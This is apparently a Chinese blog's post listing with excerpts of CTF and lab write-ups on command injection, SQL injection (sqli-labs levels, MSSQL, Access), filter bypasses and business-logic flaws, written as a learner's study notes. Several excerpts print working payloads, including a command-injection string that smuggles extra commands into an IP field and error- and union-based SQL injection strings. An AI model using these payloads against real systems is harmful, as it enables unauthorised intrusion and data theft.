自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(98)
  • 收藏
  • 关注

原创 CTFHUB RCE作业

注意:%09是在url框中修改的,而不是直接在输入框中输入,因为这是url编码,如果在ip输入框中输入会进行二次url编码,%09为tab键的url编码,无法直接输入。构造payload:ip=127.0.0.1%0acd%09fl\ag_is_here%0atac%09fla\g_210412363721473.php#首先到flag_is_here文件目录下,然后读取flag_8317178653643.php文件内容。构造payload:127.0.0.1|ls flag_is_here。

2024-04-17 00:51:32 633

原创 业务逻辑之支付安全

支付过程中存在的漏洞。

2024-04-08 08:22:10 228

原创 业务逻辑之业务安全

权限安全 未授权访问 会话漏洞 复制登录状态下的某一功能链接,再其他浏览器或用户直接访问看是否能进入登录状态界面 正常会弹出请登录界面,校验身份;如果直接进入控制台则表明存在未授权访问漏洞 存储不安全问题 服务器端的数据不安全存储,就是用户不需要身份验证就能直接访问一些敏感信息,如他人的支付订单,银行卡信息等 越权 水平越权 同权限账号之间的信息访问(只针对私人数据) 查找是否有id等表示身份信息的参数,进行修改看是否

2024-04-08 08:20:04 409

原创 业务逻辑之身份认证

场景。

2024-04-08 08:17:26 429

原创 MSsql数据库 sql注入

和mysql不同;每个数据库都有自己的信息总结表 四个系统数据库 master sysdatabases :所有数据库信息 name :所有数据库名 sysobjects :数据库所有对象的信息 syscolumns :字段信息 固定字段名 name 对象名 id 对象id xtype 对象类型代码 xtype='U' 用户创建的表 xtype='S' 系统表 model sysobjects syscol

2024-04-08 08:14:01 1079

原创 Access数据库

access是没有数据库的;只有表 流程 判断数据库类型--->判断表名----> 判断列名---->判断列名长度(列中第一条记录数据长度)---->读取数据 asp网站常用数据库:access和mssql数据库 判断数据库 如果有msysobjects则是access数据库;如果有sysobjects则是sqlsever数据库 and exists (select * from msysobjects)>0 access and exists (select

2024-04-08 08:13:15 371

原创 Getshell sql注入

10。

2024-04-08 08:12:21 266

原创 sql注入笔记整理

10。

2024-04-08 08:11:12 569

原创 python笔记整理

pass用法 定义空函数:def sum():pass函数基本语法。

2024-04-08 07:59:43 1673

原创 wife_wife【web 攻防世界】

这题可太整人了,普通账号进入后,我还以为图片中会有一些信息呢,做了半天的杂项发现图片就真的是图片呀,扫了一下上面的那张小图nilou1.jpg,发现竟然是个jphide加密的,欸,难道有什么隐藏的信息?搞了半天找不到密码,无法进行解码,看了大佬的wp才发现我是彻底被作者给打败了,思路被诱导了,原来是要绕过isAdmin检测,即使知道了也不会,基础太差了,原链污染的概念也是第一次听,总的来说还是有所收获的,一边被虐一边学习,痛并快乐着。成功注册了账号,这里直接登进去就拿到flag了。用一张图来表达我的心情。

2024-04-03 01:05:36 607

原创 Catcatcat【杂项 攻防世界】

这里我利用工具对jpg文件扫描了个遍,一点有用信息都没有,txt文本也是,里面内容不知道是干嘛的,一开始我还以为是base64编码的,解码出来发现是一堆乱码,cpu给干烧了。解出来的数据还是我看不懂的存在,看完大佬的wp发现是base91编码。注意题目要求,解码出来的格式是不对的,CatCTF{}才是正确的格式。根据txt文档信息,开头是U2F,而且也提示了兔子,是一个兔子加密。好了,这回能看懂一点了,解码出来的数据好像是ook编码,接着解码。到这里就真的结束了,这题太有价值了,又是学到新知识的一天。

2024-04-02 21:40:10 306

原创 面具下的flag【杂项】

最累的是找解码平台,brainfunk还好,ook解码平台跟绝版了似的,其他大佬用的平台不知道咋回事,中间的解码操作没了,又得重新找,找了将近半个小时也没找到一个,bugku的那个解不出来,老是提示格式错误,服了,就在快放弃的时候突然蹦出来一个,直接给我解出来了,真是柳暗花明又一村啊。到这里我就不会了,zip中就是flag.vmdk文件,flag.vmdk是linux中的硬件配置文件,但是不知道如何使用,搜了一下发现vmdk文件是可以进行解压的。结束了,这个作者脑洞是真的大,同样,解码平台是真的难找。

2024-04-02 13:21:09 264

原创 随便注【强网杯2019】

mysql专属,可替代select部分功能这道题中的表名必须用 反引号进行包裹;如`words` `123456`;要不然不识别解题方法使用handler函数进行操作;这里是bp抓包中的payload,所有空格都用+代替了,而且相关特殊符号也用url编码了%23通过修改表名和字段名进行绕过先把表名和字段名修改为界面能显示的字段数据,然后再让界面输出所有数据%23这种方法没做源码如下:(本题无提示,源码自己找的)通过观察源码发现有两层waf。

2024-03-31 21:24:00 802

原创 BabySQL【2019极客大挑战】

构造payload:username=3'+||+extractvalue(1,concat(0x7e,mimidd((seselectlect+group_concat(username,':',passwoorrd)+frfromom+b4bsql)+,181,30),0x7e))=1--+发现返回了完整的错误提示,一开始没明白是什么意思,更换payload测了几次后才发觉or应该被过滤了,尝试了or 'a'='a'--+ or '1'='1' --+;既然能成功注入了,又获得了完整的错误提示。

2024-03-28 00:22:57 991

原创 如何创建一个谷歌账户

进入时间和语言面板后,选择左侧的语言栏,在语言栏的面板可以看到windows显示语言和首选语言;正常情况下是只有简体中文的语言包的,所以我们需要点击添加语言,然后选择对应的语言包;最好先用浏览器进行注册尝试,保证浏览器有注册账户的记录,因为系统语言修改之后好像没法直接输入中文了;这里我没有那个手机号验证的截图了,因为注册成功一次后好像就不需要手机号验证了,后面需要填写一个邮箱的验证地址,方便之后账号出现问题了有个反馈的地址。如果不把系统语言和代理ip对应地区语言设置一致的话会一致卡在手机号验证的界面;

2024-03-20 18:28:58 382

原创 sql-bypass通关笔记(作业)

构造payload:id=0%27%09uniounionn%09%20select%091,2,3,(select%09(hex(group_concat(column_name)))%09frfromom%09infoorrmation_schema.columns%09where%09table_schema%20like%20%27dvwa%27%09%26%26%09table_name%20like%20%27ususerers%27%20%20),version(),6,7,8%20--+

2024-03-19 20:37:38 1034

原创 sqllab通关笔记(汇总)

10。

2024-03-18 17:56:16 494

原创 sqllab第48-65关通关笔记

10。

2024-03-18 16:11:09 439

原创 sqllab第四十七关通关笔记

构造payload:sort=2'and extractvalue(1,concat(0x7e,database(),0x7e))='1。构造payload:sort=2'' 不提示报错了。构造payload:sort=2' 报错了。这里其实and后面的没起到作用,整体也没作用感觉,内容顺序没变过。构造payload:sort=2'and 1='1。通过测试发现是一个字符型注入。说明这里存在字符型注入。成功获取到了数据库名。

2024-03-18 01:37:47 314

原创 sqllab第四十六关通关笔记

构造payload:sort=0%20and%20extractvalue(1,concat(0x7e,database(),0x7e))#通过测试发现原始语句为 select 1,2,3 from 表名 order by sort。发现页面正常输出,这就怪了,为啥会这样呢?构造sort=1,2,3,4(分别输入),测试处只有三个字段。成功回显出了数据库名,同理可以获取数据库其他信息。通过单引号输入发现页面打印出了完整的错误信息。只有三个字段,输入的信息作为排序的字段。尝试使用其他的错误函数。

2024-03-18 01:20:56 301

原创 sqllab第35-45关通关笔记

10

2024-03-18 00:46:36 626

原创 sqllab第三十四关通关笔记

构造payload:username=1%df'or+extractvalue(1,concat(0x7e,database(),0x7e))=1--+构造payload:username=1%df'union+select+database(),version()--+构造payload:username=1%df'union+select+1,2--+构造payload:username=1%df'or+1=1--+成功获取了数据库名和版本信息,同样手段可以获取数据库其他内容。成功获取了数据库名;

2024-03-17 18:18:30 520

原创 sqllab第29-33通关笔记

10。

2024-03-17 17:41:22 238

原创 sqllab第二十八关通关笔记(附带28a)

构造payload:id=0%27)union%09all%09select%091,database(),3%09=(%271。重新构造payload:id=0%27)union%09all%09select%091,2,3%09and1=(%271。构造payload:id=-1%27)union%09all%09select%091,2,3%09and1=(%271。页面成功回显了,但是内容不是输入信息,应该是他把-1进行绝对值处理了,导致显示了id=1的内容。好,尝试进行错误注入。

2024-03-17 15:41:51 267

原创 sqllab第二十七A关通关笔记

构造payload:id=0"%09uNion%09SElect%091,database(),version()%09"1。构造payload:id=0"%09uNion%09SElect%091,2,3%09"1。构造payload:id=1"%09and%091="1。经过测试发现这是一个双引号闭合。成功获取了数据库名和版本信息。页面成功回显除了输入内容。获取数据库名和版本信息。

2024-03-17 14:51:12 279

原创 sqllab第二十七关通关笔记

构造payload:id=1'%09and%09extractvalue(1,concat(0x7e,database(),0x7e))='1。构造payload:id=1'%09and%09exp(710)='1。经过不断的测试发现空格和+被过滤了,发现%09可以代替空格绕过检测。构造payload:id=1'%09and%091='1。页面给出了提示,联合查询关键字被过滤了,直接使用错误注入。页面成功回显出了相关信息,说明绕过成功。构造payload:id=1''成功获取到了数据库名;

2024-03-17 13:50:25 385

原创 sqllab第二十六A关通关笔记

构造payload:id=0'||if((mid(database(),1,1)='a')1,0)='1。将正确页面中的信息放到过滤条件中,然后按照payload1进行排序得到了正确的数据库名。标记对应的标志位,然后设置payload1和payload2,模式和之前的关卡一样。利用布尔注入只能够获取一些基本的数据,如数据库名、版本号、路径、用户等信息。构造payload:id=0'||if(1,1,0)='1。发现可以执行,说明这里可以进行bool盲注。得到对应的爆破数据,对爆破数据进行过滤。

2024-03-17 00:48:17 283

原创 sqllab第二十六关通关笔记

构造payload:id='||extractvalue(1,concat(0x7e,database(),0x7e))='1。发现不行,报错了,换成其他的也不行(%0a %09 %0b %0c %0d %a0)想了半天没结果,不用空格的话没办法执行语句;看了别人的wp发现可以用||进行绕过。构造payload:id=’||exp(710)='1。好了,既然能够绕过入门规则了,下面就要开始获取数据了。构造payload:id=1'+oorr+1='1。构造payload:id='||1='1。

2024-03-16 23:50:46 354

原创 sqllab第二十五A关通关笔记

构造payload:id=1/0+union+select+1,version(),database()+--+构造payload:id=1/0+union+select+1,2,3+--+构造payload:id=1/0+oorr+exp(710)=1--+构造payload:id=1/0+oorr+1=1--+同理,可以获取数据库其他内容,这里不演示了,收工。发现没有任何的回显信息,说明这里不能用错误注入。发现成功运算了,这是一个数值型的注入。成功显示了内容,可以尝试错误注入。成功回显了输入的内容。

2024-03-16 18:46:26 405 1

原创 sqlalb第二十五关通关笔记

其实上面测试的时候就发现了,这里就是按照一般思路测试一下,在不知道什么过滤的条件下需要一步步测试;发现界面是有输出的,同时界面提示了or and等关键字应该是要过滤的,并且下面给出了过滤后的信息;构造payload:id=0'+union+select+1,version(),database()+--+构造payload:id=0'+union+select+1,2,3+--+构造payload:id=0'+union+select+1,2,3#构造payload:id=1'+or+1=1#

2024-03-16 16:44:02 387

原创 sqllab第二十四关通关笔记

通过数据库来查看修改密码前和后的变化,发现ren账户的密码发生了改变,原账户密码没有发生任何改变。利用新注册的账户密码进行登录;成功登录进去了,界面是一个修改密码的界面。说明修改了ren账户的密码。查看界面发现是一个登录框,尝试进行登录框的注入发现这里不存在注入点。好了,利用修改后的密码进行登录,发现账户ren'# 登录失败。利用新注册的恶意账户进行登录;成功进入了修改密码的界面。通过点击注册,进入注册面板,注册一个新的账户。利用ren'# 账户修改了ren账户的密码。对该账户进行修改密码的操作。

2024-03-16 16:08:15 335

原创 sqllab第二十三关通关笔记

成功注入,说明这里的输入读取是mysql_fetch_array("select 1,2,3 from 表 where id ='输入内容'")构造payload:id=0'+union+select+1,version(),database()+'出现了语法错误的界面,发现好像利用了mysql_fetch_array()进行输入读取。构造payload:id=0'+union+select+1,2,3+'构造payload:id=0'+or+1='1。成功爆出了语法错误,说明读取输入用到了单引号。

2024-03-15 21:30:50 342

原创 sqllab第二十二关通关笔记

构造payload:1" or extractvalue(1,concat(0x7e,database(),0x7e))#出现了语法错误的报错信息,说明这里使用了双引号进行读取输入。base64加密:MSIgb3IgZXhwKDcxMCkj。出现了hacker的页面,说明信息错误但是单引号没起作用。构造payload:1" or exp(710)#测试这里使用什么手段读取输入。参数值被base64加密了。base64加密:MSc=base64加密:MSI=成功获取到了数据库名;构造payload:1"

2024-03-15 04:03:36 194

原创 sqllab第二十一关通关笔记

构造payload:1') or extractvalue(1,concat(0x7e,database(),0x7e))#直接截取带有cookie的数据包,发现uname参数的值被加密了,%3d是等号,这应该是一个base64加密。base64加密:MScrb3IrMT0xIw==(可以再次进行url编码,=变为%3d;通过在线解码平台对数据进行解密发现是admin,这就对上了,确实是一个base64加密。根据得到的信息,重新构造payload:1')+or+1=1#感觉是没问题的,是不是+号的问题呢?

2024-03-15 03:34:37 255

原创 sqllab第二十关通关笔记

仔细看了一下历史包才发现点击登录的过程中是发了两个包的,首先登录时会发一个不带cookie的包,之后会再发送一个带cookie的post包;上面拦截到的是不带cookie的包,所以回显没任何信息;构造payload:1'+or+extractvalue(1,concat(0x7e,database(),0x7e))#通过放包发现是一个302跳转的响应包,页面只有一个 I Love Cookies;通过点击页面上方的按钮可以实现响应包的自动跳转,跳转后的页面也没有任何信息。成功获取了数据库名;

2024-03-15 02:47:14 346

原创 sqllab第十九关通关笔记

构造payload:1' and extractvalue(1,concat(0x7e,database(),0x7e))='1。成功报错了,根据报错信息可以判断处原始语句为insert 表名()values()通过admin admin进行登录发现页面打印除了referer字段的信息。构造payload:1' and exp(710)='1。成功出现了exp()的报错信息,说明这里存在错误注入。这应该是一个referer注入。成功获取了数据库的名字;构造payload:1'

2024-03-15 01:55:08 340

原创 sqllab第十八关通关笔记

构造payload:1' and extractvalue(1,concat(0x7e,database(),0x7e))='推测原始语句为 insert into 表名(字段1,字段2,...) values(数据1,数据2,...);这里显然不是一个查询语句,也不是一个update语句,可能是insert语句。突然想到这个位置好像不能用+,这里是不进行url解析的,换成空格试试。成功获取了数据库名字,获取敏感信息也是同样的操作;成功执行了exp(710),这里可以进行错误注入。说明这是一个UA注入。

2024-03-15 01:34:38 469

原创 sqllab第十七关通关笔记

构造payload:passwd=admin'+and+extractvalue(1,concat(0x7e,,0x7e))='1。直接构造payload:passwd=admin'+and+exp(710)'修改payload:passwd=admin'+and+exp(710)='1。发现有错误提示,说明单引号起作用了,按理说引号已经闭合了,为啥还有错误呢。看提示应该是程序把'where username='识别成字符串了。成功触发了exp()函数的错误提示;接下来利用错误注入获取数据库的名字。

2024-03-15 00:50:55 347

原创 sqllab第十六关通关笔记

构造payload:username=a")+or+if((mid((select+group_concat(table_name)+from+information_schema.tables+where+table_schema='security'),1,1)='e'),sleep(2),1)#放入爆破模块中,设置不变(这里没测数据长度,我直接用的50,假设目标长度<50,那么结果中有效的payload1不会到50,如果有效payload1到了50说明长度>=50,此时我会增加长度;

2024-03-14 23:41:17 785

原创 sqllab第十五关通关笔记

尝试进行admin admin登录发现没有任何的回显信息。

2024-03-14 19:57:23 409

sql-bypass靶场

带有过滤的sqli靶场,需要先搭建dvwa靶场,因为要用到dvwa数据库

2024-03-19

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除